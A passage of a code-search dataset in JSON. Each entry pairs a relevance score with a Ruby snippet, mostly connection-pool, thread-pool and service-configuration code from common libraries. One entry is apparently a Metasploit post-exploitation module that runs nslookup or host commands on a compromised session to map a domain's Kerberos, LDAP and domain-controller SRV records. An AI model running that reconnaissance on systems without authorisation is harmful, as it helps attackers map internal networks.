get_script_path('bin/init-pool')\n\n \tif run_system(init_script) != 0\n \t\ttact_error(\"Building pool '#{pool_dir}' failed.\")\n \tend\n\n \tputs \"SUCCESS: Pool '#{pool_dir}' built.\"\n \texit 0\n\tend\n\tProcess.wait(pid)\n\treturn $?.exitstatus\nend",
"title": ""
},
{
"docid": "6e87d37155a0e257ee94997a4b402563",
"score": "0.49996918",
"text": "def threadpool_size; end",
"title": ""
},
{
"docid": "5e63cb5d4abe98dce2618dd119083304",
"score": "0.49892712",
"text": "def service_options(r)\n cmd = \"#{monit_binary} -c #{new_resource.config_path} -I\"\n cmd << \" -d #{new_resource.daemon_interval}\" unless new_resource.daemon_delay\n cmd << ' -v' if new_resource.daemon_verbose\n r.command(cmd)\n r.provider_no_auto('monit')\n r.user(new_resource.owner)\n end",
"title": ""
},
{
"docid": "870d54d5f13ca2f226972612ff4ef485",
"score": "0.49825072",
"text": "def build(options = {})\n pool = allocate\n pool.send(:initialize, pool_options(options))\n pool\n end",
"title": ""
},
{
"docid": "c471a293ef98c46164d165af00b8a16a",
"score": "0.49751428",
"text": "def connection_pool_class(opts)\n if pc = opts[:pool_class]\n unless pc.is_a?(Class)\n unless name = POOL_CLASS_MAP[pc]\n raise Sequel::Error, \"unsupported connection pool type, please pass appropriate class as the :pool_class option\"\n end\n\n require_relative \"connection_pool/#{pc}\"\n pc = Sequel.const_get(name)\n end\n\n pc\n elsif pc = ENV['SEQUEL_DEFAULT_CONNECTION_POOL']\n pc = \"sharded_#{pc}\" if opts[:servers] && !pc.start_with?('sharded_')\n connection_pool_class(:pool_class=>pc)\n else\n pc = if opts[:single_threaded]\n opts[:servers] ? :sharded_single : :single\n #elsif RUBY_VERSION >= '3.2' # SEQUEL6 or maybe earlier\n # opts[:servers] ? :sharded_timed_queue : :timed_queue\n else\n opts[:servers] ? :sharded_threaded : :threaded\n end\n\n connection_pool_class(:pool_class=>pc)\n end\n end",
"title": ""
},
{
"docid": "51c6289fdc9f85047fd42c54da9b5726",
"score": "0.49704024",
"text": "def thread_pool # :nodoc:\n @thread_pool ||= ThreadPool.new(options.thread_pool_size || Rake.suggested_thread_count-1)\n end",
"title": ""
},
{
"docid": "6fd44f44f95b176c94e5bf15b080ad89",
"score": "0.4964778",
"text": "def services(opts)\n opts = opts.clone()\n search_term = opts.delete(:search_term)\n\n order_args = [:port]\n order_args.unshift(Mdm::Host.arel_table[:address]) if opts.key?(:hosts)\n\n ::ApplicationRecord.connection_pool.with_connection {\n # If we have the ID, there is no point in creating a complex query.\n if opts[:id] && !opts[:id].to_s.empty?\n return Array.wrap(Mdm::Service.find(opts[:id]))\n end\n\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n opts.delete(:workspace)\n\n if search_term && !search_term.empty?\n column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Service, search_term)\n wspace.services.includes(:host).where(opts).where(column_search_conditions).order(*order_args)\n else\n wspace.services.includes(:host).where(opts).order(*order_args)\n end\n }\n end",
"title": ""
},
{
"docid": "19b2053bf965565d699e652d905262d1",
"score": "0.49583068",
"text": "def initialize(pool)\n @pool = pool\n end",
"title": ""
},
{
"docid": "62b5f93bedeb228f0c99c50bfccd4256",
"score": "0.49572605",
"text": "def pool\n @pool ||= ::ConnectionPool.new(size: config.redis.pool_size, &redis_proc)\n end",
"title": ""
},
{
"docid": "ef5d6a865b9ae65d306bc5e8b42ccc53",
"score": "0.49547207",
"text": "def redis_connection_pool\n @redis_connection_pool ||= ExcessFlow::RedisConnection.connection_pool\n end",
"title": ""
},
{
"docid": "51d9d70d5d4459bb2f7cd32d8f248645",
"score": "0.4947231",
"text": "def pg \n @@connection_pool ||= ::PG::EM::ConnectionPool.new(config)\n end",
"title": ""
},
{
"docid": "8e33b43130fdb106c938abf8245040b2",
"score": "0.49433956",
"text": "def resource_pool\n return @cluster.resourcePool\n end",
"title": ""
},
{
"docid": "ab61852bdc4bd8b7726e0b68ff015eb6",
"score": "0.49383667",
"text": "def initialize(entrypoint='http://localhost:7080/rest',username='rhqadmin', password='rhqadmin', options={})\n @entrypoint = entrypoint\n @credentials = { :username => username, :password => password }\n @options = {\n :poll_delay => 0.2,\n :resource_filter => { # default filter options whenever querying /resource endpoint\n :status => \"COMMITTED\", # by default we're interested in committed = managed resources only\n :ps => 999, # this client does not care about paging\n :strict => true # be strict when filtering by anything\n }\n }.merge(options)\n end",
"title": ""
},
{
"docid": "4305d56935475df6a7ae6324b3f3d1c9",
"score": "0.49284795",
"text": "def pool\n if unknown?\n raise Error::ServerNotUsable, address\n end\n\n @pool_lock.synchronize do\n opts = connected? ? options : options.merge(populator_io: false)\n @pool ||= ConnectionPool.new(self, opts).tap do |pool|\n pool.ready\n end\n end\n end",
"title": ""
},
{
"docid": "e4617e4becd2bf7f3de039158b1c5645",
"score": "0.4925716",
"text": "def test_rtask_realizes_lproxy\n\tcommon_setup(true) do |trsc|\n\t trsc.release(false)\n\t r_t1, r_t2, r_t3 = remote.add_tasks(Distributed.format(trsc)).map { |t| remote_peer.proxy(t) }\n\t trsc.edit\n\n\t assert(r_t2.subscribed?)\n\t t1, t2, t3 = Roby.synchronize { add_tasks(plan, \"local\") }\n\t r_t2.depends_on trsc[t2]\n\t r_t2.signals(:start, trsc[t2], :start)\n\t remote_peer.subscribe(r_t2)\n\t remote_peer.push_subscription(t2)\n\n\t check_resulting_plan(trsc, false)\n\t trsc.release(false)\n\t remote.check_resulting_plan(Distributed.format(trsc), false)\n\t trsc.edit\n\n\t # remove the relations in the real tasks (not the proxies)\n\t t2.remove_planning_task(t3)\n\t process_events\n\t remote.assert_cleared_relations(Distributed.format(plan))\n\tend\n end",
"title": ""
},
{
"docid": "755ebfad01833d58fcb491ff5fd7f262",
"score": "0.49224168",
"text": "def pool_size=(pool_size)\n @pool.pool_size = pool_size\n end",
"title": ""
},
{
"docid": "aaf1648e81ad625fb3da7eaa2a5c8978",
"score": "0.49210122",
"text": "def build_expression_pool\n\n init_service(:s_expression_pool, ExpressionPool)\n end",
"title": ""
},
{
"docid": "0239468863fd1dd479141953b6603f84",
"score": "0.49127898",
"text": "def connection_pool_default_options\n {}\n end",
"title": ""
},
{
"docid": "d772f9e87b0eebc0a4a6a873587d76d4",
"score": "0.49086693",
"text": "def setup\n# ActiveRecord::Base.logger = Logger.new STDERR\n\n # Start forked server process\n# ActiveRecord::Base.connection_pool.disconnect!\n# rd, wr = IO.pipe\n# fork do\n# DRb.start_service(UriServer, Kernel)\n# wr.puts \"started\"\n# DRb.thread.join\n# end\n\n rd = IO.popen(RbConfig::CONFIG['ruby_install_name'], 'w+')\n rd.write <<-EOT\n $: << #{File.expand_path('..', __FILE__).inspect}\n require 'test_helper'\n require 'drb/ar_pg'\n\n# ActiveRecord::Base.logger = Logger.new $stderr\n DRb.start_service(#{UriServer.inspect}, Kernel)\n $stdout.puts \"started\"\n $stdout.flush\n $stdout.reopen($stderr)\n DRb.thread.join\n EOT\n rd.close_write\n\n # Start local server for callbacks\n DRb.start_service(UriCallback)\n\n # Wait until server process has started\n rd.gets\n\n # Connect to server object\n @drb = DRbObject.new_with_uri(UriServer)\n end",
"title": ""
},
{
"docid": "d91e836eac3d38aa4bce5c5c3127583d",
"score": "0.49005097",
"text": "def initialize logger, key_multiply_redundancy = 1, max_num_simultaneous_gateway_requests_per_query = key_multiply_redundancy, gateway_pool_size = 1, gateway_pool_creation_race_size = 0\r\n raise \"max_num_simultaneous_gateway_requests_per_query #{max_num_simultaneous_gateway_requests_per_query} must be a multiple of key_multiply_redundancy #{key_multiply_redundancy}\" if max_num_simultaneous_gateway_requests_per_query % key_multiply_redundancy != 0\r\n @logger = logger\r\n @log_prefix = \"odhtem\"\r\n @retry_times_if_non_successful_answer = 2\r\n @key_multiply_redundancy = key_multiply_redundancy\r\n assert gateway_pool_size != 0 && gateway_pool_size, \"you have to have a gateway_pool_size of at least 1--doesn't make sense to not have any gateway pools and the default is size 1\"\r\n if gateway_pool_size\r\n @num_simultaneous_gateway_requests_per_query = [max_num_simultaneous_gateway_requests_per_query, gateway_pool_size].min\r\n else\r\n @num_simultaneous_gateway_requests_per_query = 1 # just use the opendht.nyuld.net one, so only once is advised :)\r\n end \r\n error 'whoa you are going to be doubling up on gets (more than one per gateway)--maybe ok' if total_get_responses_expected > gateway_pool_size\r\n @gateways = StartingGateways.dup # start with the default -- was opendht.nyuld.net 5851 # TODO setup static!\r\n @outstanding_conns_still_open = {}\r\n @secret = 'secret' # lame :)\r\n @ttl = 5*60\r\n @application ='p2pwebclient'\r\n @max_return_values = 100000\r\n @done_finding_live_gateways = true\r\n calculate_new_live_gateways gateway_pool_creation_race_size unless gateway_pool_creation_race_size == 0 \r\n assert gateway_pool_creation_race_size >= 0\r\n @latest_place_markers = {} # key => pm, always assume latest is better. (most current) store them here\r\n @gateway_grab_mutex = Mutex.new\r\n @func_to_call_when_empty_which_means_we_are_in_shutdown_mode = nil\r\n end",
"title": ""
},
{
"docid": "f244ccb8b8550ac63d4556bb8a3464bc",
"score": "0.48983145",
"text": "def pool\n @pool ||= Beaneater.new(\"#{@host}:#{@port}\")\n end",
"title": ""
},
{
"docid": "c979145a32ca04f59f03e0766b1a6da0",
"score": "0.48967165",
"text": "def initialize(options = {})\n\t\tsuper()\n\n\t\toptions = validate_options options, \n\t\t :name => \"#{Socket.gethostname}-#{Process.pid}\", # the name of this host\n\t\t :period => nil,\t\t\t\t # the discovery period\n\t\t :ring_discovery => true,\t\t\t # wether we should do discovery based on Rinda::RingFinger\n\t\t :ring_broadcast => '',\t\t\t # the broadcast address for discovery\n\t\t :discovery_tuplespace => nil,\t\t # a central tuplespace which lists hosts (including ourselves)\n\t\t :plan => nil, \t\t\t\t # the plan we publish, uses Roby.plan if nil\n\t\t :listen_at => 0\t\t\t\t # the port at which we listen for incoming connections\n\n\t\tif options[:ring_discovery] && !options[:period]\n\t\t raise ArgumentError, \"you must provide a discovery period when using ring discovery\"\n\t\tend\n\n\t\t@name = options[:name]\n\t\t@neighbours = Array.new\n\t\t@peers = Hash.new\n\t\t@plan = options[:plan] || Roby.plan\n\t\t@discovery_period = options[:period]\n\t\t@ring_discovery = options[:ring_discovery]\n\t\t@ring_broadcast = options[:ring_broadcast]\n\t\t@discovery_tuplespace = options[:discovery_tuplespace]\n\t\t@port\t\t = options[:port]\n\t\t@pending_sockets = Queue.new\n\t\t@pending_connections = Hash.new\n\t\t@aborted_connections = Hash.new\n\t\t@pending_reconnections = Array.new\n\t\t@quit_neighbour_thread = false\n\n\t\t@mutex\t\t = Mutex.new\n\t\t@start_discovery = ConditionVariable.new\n\t\t@finished_discovery = ConditionVariable.new\n\t\t@new_neighbours\t = Queue.new\n @new_neighbours_observers = Array.new\n\n\t\t@connection_listeners = Array.new\n\n\t\tyield(self) if block_given?\n\n\t\tlisten(options[:listen_at])\n\t\t@remote_id = RemoteID.new(Socket.gethostname, server_socket.port)\n\n\t\tif central_discovery?\n\t\t if (discovery_tuplespace.write([:droby, name, remote_id]) rescue nil)\n\t\t\tif discovery_tuplespace.kind_of?(DRbObject)\n\t\t\t Distributed.info \"published #{name}(#{remote_id}) on #{discovery_tuplespace.__drburi}\"\n\t\t\telse\n\t\t\t Distributed.info \"published #{name}(#{remote_id}) on local tuplespace\"\n\t\t\tend\n\t\t else\n\t\t\tDistributed.warn \"cannot connect to #{discovery_tuplespace.__drburi}, disabling centralized discovery\"\n\t\t\tdiscovery_tuplespace = nil\n\t\t end\n\t\tend\n\n\t\tif ring_discovery?\n\t\t Distributed.info \"doing ring discovery on #{ring_broadcast}\"\n\t\tend\n\n\t\tsynchronize do\n\t\t # Start the discovery thread and wait for it to be initialized\n\t\t @discovery_thread = Thread.new(&method(:neighbour_discovery))\n until last_discovery\n finished_discovery.wait(mutex)\n end\n\t\tend\n\t\tstart_neighbour_discovery(true)\n\n @discovery_start_handler = engine.add_propagation_handler do |plan|\n start_neighbour_discovery\n notify_new_neighbours\n end\n\t\tengine.finalizers << method(:quit)\n engine.at_cycle_end do\n peers.each_value do |peer|\n if peer.connected?\n peer.transmit(:state_update, Roby::State) \n end\n end\n end\n\n # Finally, start the reception thread\n receive\n\t end",
"title": ""
},
{
"docid": "cf9ebdd5bc01c5fa196008eb9cc231a7",
"score": "0.48959422",
"text": "def proxy_pool_params\n params.require(:proxy_pool).permit(:ip, :protocl, :port, :active, :source, :check_count)\n end",
"title": ""
},
{
"docid": "ea972a3dee7b8357e1e91945f3c4691f",
"score": "0.48814335",
"text": "def pools\n $pools ||= {}\n end",
"title": ""
},
{
"docid": "f484a9aaf4ec3ef5b7e6fbb0fee40634",
"score": "0.48757842",
"text": "def last_resort_pool\n super\n end",
"title": ""
},
{
"docid": "b4441b93f5367ba3b2f6216b4c0fa7cd",
"score": "0.48724276",
"text": "def parallel_manager; end",
"title": ""
},
{
"docid": "4a9988f7b8dd0e10f03019e8c83e5c88",
"score": "0.4872182",
"text": "def threadpool\n @threadpool\n end",
"title": ""
},
{
"docid": "9c3a974626339a1e3f783c22d7b509d1",
"score": "0.4863618",
"text": "def manage_service(\n service,\n ignore_fail_option,\n service_name_option,\n actions_option,\n notifies_option,\n init_cmd_option,\n pattern_option,\n priority_option,\n provider_option,\n reload_cmd_option,\n restart_cmd_option,\n retries_option,\n retry_delay_option,\n start_cmd_option,\n status_cmd_option,\n stop_cmd_option,\n subscribes_option,\n supports_option,\n timeout_option\n\n)\n# After gathering all of the options define the service here.\n service service do\n\n # Set the action(s)\n action actions_option\n\n # Set the ignore failure option\n ignore_failure ignore_fail_option\n\n # Set the init command directive if needed\n if init_cmd_option\n init_command init_cmd_option\n end\n\n # Set the notifies option if needed\n if notifies_option\n if notifies_option['action'] && notifies_option['resource']\n if notifies_option['timer']\n notifies notifies_option['action'].to_s.to_sym, notifies_option['resource'].to_s, notifies_option['timer'].to_s.to_sym\n else\n notifies notifies_option['action'].to_s.to_sym, notifies_option['resource'].to_s, :delayed\n end\n end\n end\n\n # Set the pattern option if needed\n if pattern_option\n unless pattern_option == service_name_option\n pattern pattern_option\n end\n end\n\n # If on debian set the priority directive if needed\n if node['platform'] == 'debian'\n if priority_option\n priority priority_option\n end\n end\n\n # Set the provider directive if needed\n if provider_option\n provider provider_option\n end\n\n # Set the reload command directive if needed\n if reload_cmd_option\n reload_command reload_cmd_option\n end\n\n # Set the restart command directive if needed\n if restart_cmd_option\n restart_command restart_cmd_option\n end\n\n # Set the retries directive if needed\n if retries_option\n retries retries_option\n end\n\n # Set the retry delay directive if needed\n if retry_delay_option\n retry_delay retry_delay_option\n end\n\n # Set the service name option\n if service_name_option\n service_name service_name_option\n end\n\n # Set the start command directive if needed\n if start_cmd_option\n start_command start_cmd_option\n end\n\n # Set the status command directive if needed\n if status_cmd_option\n status_command status_cmd_option\n end\n\n # Set the stop command directive if needed\n if stop_cmd_option\n stop_command stop_cmd_option\n end\n\n # Set the subscribes directive if needed\n if subscribes_option\n if subscribes_option['action'] && subscribes_option['resource']\n if subscribes_option['timer']\n subscribes subscribes_option['action'].to_s.to_sym, subscribes_option['resource'], subscribes_option['timer'].to_s.to_sym\n else\n subscribes subscribes_option['action'].to_s.to_sym, subscribes_option['resource'], :delayed\n end\n end\n end\n\n # Set the supports directive if needed\n if supports_option\n s = {}\n supports_option.each do |symbol, value|\n s[symbol.to_s.to_sym] = value\n end\n unless s.empty?\n supports s\n end\n end\n\n # Set the timeout directive if needed\n if node['platform'] == 'windows'\n if timeout_option\n timeout timeout_option\n end\n end\n\n end\nend",
"title": ""
},
{
"docid": "914ce01c1e2db9baf9ffb0eb7e2fe3d2",
"score": "0.48615286",
"text": "def set_last_resort_pool(opts)\n opts = check_params(opts,[:pool_names])\n super(opts)\n end",
"title": ""
},
{
"docid": "c9c23c7025673a685c03873e425fd00e",
"score": "0.48614436",
"text": "def pool(session)\n read_task('rvpe.vn.pool', session) do\n pool_e = REXML::Element.new('VNET_POOL')\n VirtualNetwork.each do |vnet|\n vnet_e = vnet.to_xml_element(session)\n pool_e.add(vnet_e)\n end\n doc = REXML::Document.new\n doc.add(pool_e)\n [true, doc.to_s]\n end\n end",
"title": ""
},
{
"docid": "a680006e1381040453aff5cae9c76030",
"score": "0.48604536",
"text": "def top_service_template_pool(client, options)\n # TODO: make default delay configurable\n options[:delay] ? delay = options[:delay] : delay = 4\n\n begin\n loop do\n CLIHelper.scr_cls\n CLIHelper.scr_move(0, 0)\n\n list_service_template_pool(client, options)\n\n sleep delay\n end\n rescue StandardError => e\n STDERR.puts e.message\n exit(-1)\n end\n\n 0\n end",
"title": ""
},
{
"docid": "a680006e1381040453aff5cae9c76030",
"score": "0.48604536",
"text": "def top_service_template_pool(client, options)\n # TODO: make default delay configurable\n options[:delay] ? delay = options[:delay] : delay = 4\n\n begin\n loop do\n CLIHelper.scr_cls\n CLIHelper.scr_move(0, 0)\n\n list_service_template_pool(client, options)\n\n sleep delay\n end\n rescue StandardError => e\n STDERR.puts e.message\n exit(-1)\n end\n\n 0\n end",
"title": ""
},
{
"docid": "451bc7c0daa3a8bf6d1f7fd83a85347c",
"score": "0.48567286",
"text": "def initialize(server, options = {})\n unless server.is_a?(Server)\n raise ArgumentError, 'First argument must be a Server instance'\n end\n options = options.dup\n if options[:min_size] && options[:min_pool_size] && options[:min_size] != options[:min_pool_size]\n raise ArgumentError, \"Min size #{options[:min_size]} is not identical to min pool size #{options[:min_pool_size]}\"\n end\n if options[:max_size] && options[:max_pool_size] && options[:max_size] != options[:max_pool_size]\n raise ArgumentError, \"Max size #{options[:max_size]} is not identical to max pool size #{options[:max_pool_size]}\"\n end\n if options[:wait_timeout] && options[:wait_queue_timeout] && options[:wait_timeout] != options[:wait_queue_timeout]\n raise ArgumentError, \"Wait timeout #{options[:wait_timeout]} is not identical to wait queue timeout #{options[:wait_queue_timeout]}\"\n end\n options[:min_size] ||= options[:min_pool_size]\n options.delete(:min_pool_size)\n options[:max_size] ||= options[:max_pool_size]\n options.delete(:max_pool_size)\n if options[:min_size] && options[:max_size] &&\n (options[:max_size] != 0 && options[:min_size] > options[:max_size])\n then\n raise ArgumentError, \"Cannot have min size #{options[:min_size]} exceed max size #{options[:max_size]}\"\n end\n if options[:wait_queue_timeout]\n options[:wait_timeout] ||= options[:wait_queue_timeout]\n end\n options.delete(:wait_queue_timeout)\n\n @server = server\n @options = options.freeze\n\n @generation_manager = GenerationManager.new(server: server)\n @ready = false\n @closed = false\n\n # A connection owned by this pool should be either in the\n # available connections array (which is used as a stack)\n # or in the checked out connections set.\n @available_connections = available_connections = []\n @checked_out_connections = Set.new\n @pending_connections = Set.new\n @interrupt_connections = []\n\n # Mutex used for synchronizing access to @available_connections and\n # @checked_out_connections. The pool object is thread-safe, thus\n # all methods that retrieve or modify instance variables generally\n # must do so under this lock.\n @lock = Mutex.new\n\n # Background thread reponsible for maintaining the size of\n # the pool to at least min_size\n @populator = Populator.new(self, options)\n @populate_semaphore = Semaphore.new\n\n # Condition variable to enforce the first check in check_out: max_pool_size.\n # This condition variable should be signaled when the number of\n # unavailable connections decreases (pending + pending_connections +\n # checked_out_connections).\n @size_cv = Mongo::ConditionVariable.new(@lock)\n # This represents the number of threads that have made it past the size_cv\n # gate but have not acquired a connection to add to the pending_connections\n # set.\n @connection_requests = 0\n\n # Condition variable to enforce the second check in check_out: max_connecting.\n # Thei condition variable should be signaled when the number of pending\n # connections decreases.\n @max_connecting_cv = Mongo::ConditionVariable.new(@lock)\n @max_connecting = options.fetch(:max_connecting, DEFAULT_MAX_CONNECTING)\n\n ObjectSpace.define_finalizer(self, self.class.finalize(@available_connections, @pending_connections, @populator))\n\n publish_cmap_event(\n Monitoring::Event::Cmap::PoolCreated.new(@server.address, options, self)\n )\n end",
"title": ""
},
{
"docid": "b6ff0d47001e4a0058e65c2b952079a9",
"score": "0.48565373",
"text": "def initialize(args)\n failover_timeout = args[:failover_timeout]\n local_ip = args[:local_ip]\n local_port = args[:local_port]\n service_object = args[:service_obj]\n\n# failover_timeout, local_ip, local_port, service_object = args\n #set the failover timeout to failover_timeout\n @failover_timeout = failover_timeout\n\n #set the incoming connection information\n @local_ip = local_ip\n @local_port = local_port\n\n #set kill to false so that the API will keep processing IO as long as @@kill is\n # not already false or it is not already defined\n if defined?(@@kill).nil? or !@@kill then\n @@kill = false\n end\n @alive = true\n\n #set up the tables and maxId for conversion between ids and ips\n @to_id_table = {\"self #{nil}\" => -1}\n @to_ip_table = {-1 => [@local_ip, @local_port]}\n @maxId = 1\n\n #set up threads\n #now set up a thread to accept new connections\n self.server = TCPServer.new(@local_ip, @local_port)\n @accept_threadT = Thread.new(server) {|server| accept_thread(server)}\n #and another thread to handle input\n @input_threadT = Thread.new { input_thread()}\n #and another thread for backups\n @backup_threadT = Thread.new { backup_thread()}\n\n #and all the connection lists (this will prevent nil assignment problems)\n @fail_to = []\n @fail_rec = []\n @dependents = []\n @connects = []\n @rec_backups = []\n @status_unsure = []\n @dead_connects = []\n\n self.set_service_object = service_object if !service_object.nil?\n end",
"title": ""
},
{
"docid": "d806419a5b577895a32b682d11167ffa",
"score": "0.4851196",
"text": "def initialize(service_provider, options={})\n @service_provider = service_provider\n @timeout = options[:timeout] || 60\n @logger = options[:logger]\n @on_startup = options[:on_startup]\n @lock_file_path = options[:lock_file_path] || File.expand_path('.rtext.lock')\n @config_file_path = options[:config_file_path] || File.expand_path('.rtext.config')\n @lock_file = nil\n end",
"title": ""
},
{
"docid": "4e2225b61f347f5ba70f75574f14e14e",
"score": "0.48498803",
"text": "def set_proxy_pool\n @proxy_pool = ProxyPool.find(params[:id])\n end",
"title": ""
},
{
"docid": "f53a98733dafa2d645b8a2886cb63316",
"score": "0.4841653",
"text": "def pool\n @pool || raise(Error, \"Que connection not established!\")\n end",
"title": ""
},
{
"docid": "ea8984aae4f196af0c7da2865476a426",
"score": "0.48407242",
"text": "def owner_to_pool_manager; end",
"title": ""
},
{
"docid": "a7b5e8585259fe3bf61fd563c71a23ff",
"score": "0.48349243",
"text": "def start_cloud_sql_services\n if @products.include? \"cloud-sql/mysql\"\n install_cloud_sql_proxy\n puts \"Starting Cloud SQL Proxy for MySQL\", :bold\n connection_name = assert_env \"MYSQL_INSTANCE_CONNECTION_NAME\"\n process = exec [\"/bin/cloud_sql_proxy\",\n \"-instances=#{connection_name}=tcp:3306,#{connection_name}\",\n \"-dir=/cloudsql\", \"-credential_file=#{gac_path}\"],\n background: true, out: :inherit\n ENV[\"MYSQL_CLOUD_SQL_PROXY_PROCESS_ID\"] = process.pid.to_s\n @kill_on_cleanup << process\n end\n if @products.include? \"cloud-sql/postgres\"\n install_cloud_sql_proxy\n puts \"Starting Cloud SQL Proxy for Postgres\", :bold\n connection_name = assert_env \"POSTGRES_INSTANCE_CONNECTION_NAME\"\n process = exec [\"/bin/cloud_sql_proxy\",\n \"-instances=#{connection_name}=tcp:5432,#{connection_name}\",\n \"-dir=/cloudsql\", \"-credential_file=#{gac_path}\"],\n background: true, out: :inherit\n ENV[\"POSTGRES_CLOUD_SQL_PROXY_PROCESS_ID\"] = process.pid.to_s\n @kill_on_cleanup << process\n end\n if @products.include? \"cloud-sql/postgres\"\n install_cloud_sql_proxy\n puts \"Starting Cloud SQL Proxy for SQL Server\", :bold\n connection_name = assert_env \"SQLSERVER_INSTANCE_CONNECTION_NAME\"\n process = exec [\"/bin/cloud_sql_proxy\",\n \"-instances=#{connection_name}=tcp:1433\",\n \"-credential_file=#{gac_path}\"],\n background: true, out: :inherit\n ENV[\"SQLSERVER_CLOUD_SQL_PROXY_PROCESS_ID\"] = process.pid.to_s\n @kill_on_cleanup << process\n end\nend",
"title": ""
},
{
"docid": "da4432fac96a5ba7a59221eef5031d72",
"score": "0.48345348",
"text": "def configure(options)\n # TODO : pass the options into backend initialize\n # options ||= { namespace: 'plugins.', host: '127.0.0.1', timeout: 1, size: 10 }\n # options.keep_if {|key| [:timeout, :host, :size].include? key }\n # Backend = ConnectionPool.new(options) do\n # Redis.new(options[:host])\n # end\n\n const_set :NAMESPACE, options[:namespace]\n const_set :BACKEND, Backend\n const_set :LISTENERS, {}\n\n Kernel.at_exit do\n const_set :INSTANCE, nil\n const_set :BACKEND, nil\n const_set :NAMESPACE, nil\n end\n end",
"title": ""
},
{
"docid": "91f553dae255a46b51a556cf7c0a5250",
"score": "0.48275274",
"text": "def memory_pool\n\t\t\t@jr.getmemorypool()\n\t\tend",
"title": ""
},
{
"docid": "ac1121e674e0f0f5e91021242b5b7c84",
"score": "0.48272762",
"text": "def run\n\t\tsrvrcd = [\n\t\t\t'_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.',\n\t\t\t'_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.',\n\t\t\t'_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.',\n\t\t\t'_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.',\n\t\t\t'_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.',\n\t\t\t'_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.',\n\t\t\t'_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.',\n\t\t\t'_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.',\n\t\t\t'_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.',\n\t\t\t'_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.',\n\t\t\t'_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.',\n\t\t\t'_hkps._tcp.', '_jabber._udp.', '_xmpp-server._udp.', '_xmpp-client._udp.',\n\t\t\t'_jabber-client._tcp.', '_jabber-client._udp.', '_kerberos.tcp.dc._msdcs.',\n\t\t\t'_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.',\n\t\t\t'_ldap._tcp.gc._msdcs.', '_kerberos._tcp.dc._msdcs.', '_kpasswd._tcp.', '_kpasswd._udp.',\n\t\t\t'_imap._tcp.'\n\t\t]\n\n\t\tdomain = datastore['DOMAIN']\n\n\t\tprint_status(\"Performing DNS SRV Record Lookup for Domain #{domain}\")\n\n\t\ta = []\n\n\n\t\tif session.type =~ /shell/\n\t\t\t# Only one thread possible when shell\n\t\t\tthread_num = 1\n\t\t\t# Use the shell platform for selecting the command\n\t\t\tplatform = session.platform\n\t\telse\n\t\t\t# When in Meterpreter the safest thread number is 10\n\t\t\tthread_num = 10\n\t\t\t# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform\n\t\t\tplatform = session.sys.config.sysinfo['OS']\n\t\tend\n\n\t\tplatform = session.platform\n\n\t\tcase platform\n\t\twhen /win/i\n\t\t\tns_opt = \" -query=srv \"\n\t\t\tcmd = \"nslookup\"\n\t\twhen /solaris/i\n\t\t\tns_opt = \" -t srv \"\n\t\t\tcmd = \"/usr/sbin/host\"\n\t\telse\n\t\t\tns_opt = \" -t srv \"\n\t\t\tcmd = \"/usr/bin/host\"\n\t\tend\n\n\t\twhile(not srvrcd.nil? and not srvrcd.empty?)\n\t\t\t 1.upto(thread_num) do\n\t\t\t\ta << framework.threads.spawn(\"Module(#{self.refname})\", false, srvrcd.shift) do |srv|\n\t\t\t\t\tnext if srv.nil?\n\t\t\t\t\tr = cmd_exec(cmd, ns_opt + \"#{srv}#{domain}\")\n\n\t\t\t\t\tcase platform\n\t\t\t\t\twhen /win/\n\t\t\t\t\t\tif r =~ /\\s*internet\\saddress\\s\\=\\s/\n\t\t\t\t\t\t\tnslookup_srv_consume(\"#{srv}#{domain}\", r).each do |f|\n\t\t\t\t\t\t\t\tprint_good(\"\\t#{f[:srv]} #{f[:target]} #{f[:port]} #{f[:ip]}\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tfound = host_srv_consume(r)\n\t\t\t\t\t\tif found\n\t\t\t\t\t\t\tfound.each do |f|\n\t\t\t\t\t\t\t\tprint_good(\"\\t#{f[:srv]} #{f[:target]} #{f[:port]} #{f[:ip]}\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ta.map {|x| x.join }\n\t\t\t end\n\t\tend\n\tend",
"title": ""
}
] |
af3e8dc13f7778374c820e3f04af6b83
|
DELETE /service_providers/1 DELETE /service_providers/1.json
|
[
{
"docid": "5ee3e626de81b05311afd0c97fe07c3c",
"score": "0.76298946",
"text": "def destroy\n @service_provider.destroy\n respond_to do |format|\n format.html { redirect_to service_providers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "52f7f464963f27fc5bd6a5bd735a4c8e",
"score": "0.7455817",
"text": "def destroy\n @service_provider.destroy\n respond_to do |format|\n format.html { redirect_to service_providers_url, notice: 'Service provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ce306fcb62c946e3d8413ed6d001747",
"score": "0.73691565",
"text": "def destroy\n @serviceprovider.destroy\n respond_to do |format|\n format.html { redirect_to serviceproviders_url, notice: 'Serviceprovider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e7c7f02a89fbb93fbe40b366ffa79856",
"score": "0.72003984",
"text": "def destroy\n @service_provider_detail.destroy\n respond_to do |format|\n format.html { redirect_to service_provider_details_url, notice: 'Service provider detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69b647d0fba19caa74d6918b92ba2528",
"score": "0.71722364",
